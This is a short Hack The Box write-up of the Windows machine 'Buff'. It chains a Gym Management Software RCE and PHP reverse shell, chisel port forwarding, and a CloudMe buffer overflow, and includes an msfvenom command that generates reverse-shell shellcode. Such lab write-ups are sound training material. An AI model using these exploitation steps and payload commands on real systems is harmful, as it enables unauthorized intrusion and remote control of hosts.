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Hack The Box — Buff Writeup without Metasploit

Buff a windows easy machine. Initial foot hold was using an RCE in Gym Management Software. Privilege escalation was done through bufferover flow using Cloudme software which was running in the box.

As always nmap scan

root@kali:~# nmap -sC -sV
Starting Nmap 7.91 ( ) at 2021-07-24 06:13 EDT
Nmap scan report for
Host is up (0.44s latency).
Not shown: 999 filtered ports
8080/tcp open http Apache httpd 2.4.43 ((Win64) OpenSSL/1.1.1g PHP/7.4.6)
| http-open-proxy: Potentially OPEN proxy.
|_Methods supported:CONNECTION
|_http-server-header: Apache/2.4.43 (Win64) OpenSSL/1.1.1g PHP/7.4.6
|_http-title: mrb3n's Bro Hu

Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 72.29 seconds

As you can see port 8080

After browsing for a while found the name and version of cms

We have Gym Management Software version 1.0

after googling found the following exploit

So we have the exploit now we need is a php reverse shell. I have used the following reverse shell and I think I will be using this one from now on because it’s not specifically for windows it can be run in Linux, mac and Windows.

One reverse shell for all and thnx to the aurthor for doing such a great job

Now run the following command to get a reverse shell

python3 -t -f reverse.php

now we have a reverse shell

From here uploaded winPEAS but couldn’t find anything. Then I started to check everything manually no luck.

After like a while I went in to see what others did. IPPSEC he was facing the same problem. CloudMe service wasnt connecting. Waited for half an hour checked back it was running. I guess it takes time to run.

Found the exploit but we need to do port forwarding. I did try with plink for some reason it didnt work out so used chisel

from the kali machine have to execute the server with the following command

./chisel server -p 9001 -reverse

we are connected

For the bufferover flow use the following to generate the shell code.

msfvenom -a x86 -p windows/shell_reverse_tcp LHOST= LPORT=443 -b ‘\x00\x0A\x0D’ -f python

also in the script user buffer=buf so it will work

execute the script

and got a reverse shell

That was fun

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